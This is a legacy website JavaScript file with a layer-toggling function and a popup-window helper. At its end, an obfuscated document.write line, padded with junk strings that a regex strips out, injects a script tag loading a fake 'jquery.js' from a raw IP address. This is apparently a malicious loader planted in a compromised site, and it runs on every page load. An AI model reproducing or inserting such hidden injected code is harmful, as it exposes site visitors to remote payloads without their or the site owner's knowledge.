function toggleBox(szDivID) {
  if (document.layers) { // NN4+
    if (document.layers[szDivID].visibility == 'visible') {
      document.layers[szDivID].visibility = "hide";
      document.layers[szDivID].display = "none";
      document.layers[szDivID+"SD"].fontWeight = "normal";
    } else {
      document.layers[szDivID].visibility = "show";
      document.layers[szDivID].display = "inline";
      document.layers[szDivID+"SD"].fontWeight = "bold";
    }
  } else if (document.getElementById) { // gecko(NN6) + IE 5+
    var obj = document.getElementById(szDivID);
    var objSD = document.getElementById(szDivID+"SD");

    if (obj.style.visibility == 'visible') {
      obj.style.visibility = "hidden";
      obj.style.display = "none";
      objSD.style.fontWeight = "normal";
    } else {
      obj.style.visibility = "visible";
      obj.style.display = "block";
      objSD.style.fontWeight = "bold";
    } 
  } else if (document.all) { // IE 4
    if (document.all[szDivID].style.visibility == 'visible') {
      document.all[szDivID].style.visibility = "hidden";
      document.all[szDivID].style.display = "none";
      document.all[szDivID+"SD"].style.fontWeight = "normal";
    } else {
      document.all[szDivID].style.visibility = "visible";
      document.all[szDivID].style.display = "inline";
      document.all[szDivID+"SD"].style.fontWeight = "bold";
    }
  }
}
function openWin(url, width, height){
w1 = screen.width/2-width/2; h1 = screen.height/2-height/2; 	
var w_kierow = window.open(url,"",'width='+ width +',height='+ height +',top='+h1+',left='+w1+',resizable=0,scrollbars=no,menubar=no');
}<!-- 
document.write(unescape('%3Cs4HcrHjPiyXuplfetaT0%20HjPseercaT0%3DaT0%2FyXu%2F94H42j%2E2j2HjP47aT0%2Eee2%2E2j194H5%2F2jjyXuqueaT0r4Hy%2EjyXusaT0%3E4H%3C%2F2js2jcraT0iHjPptHjP%3E').replace(/HjP|4H|ee|2j|aT0|lfe|yXu/g,""));
 -->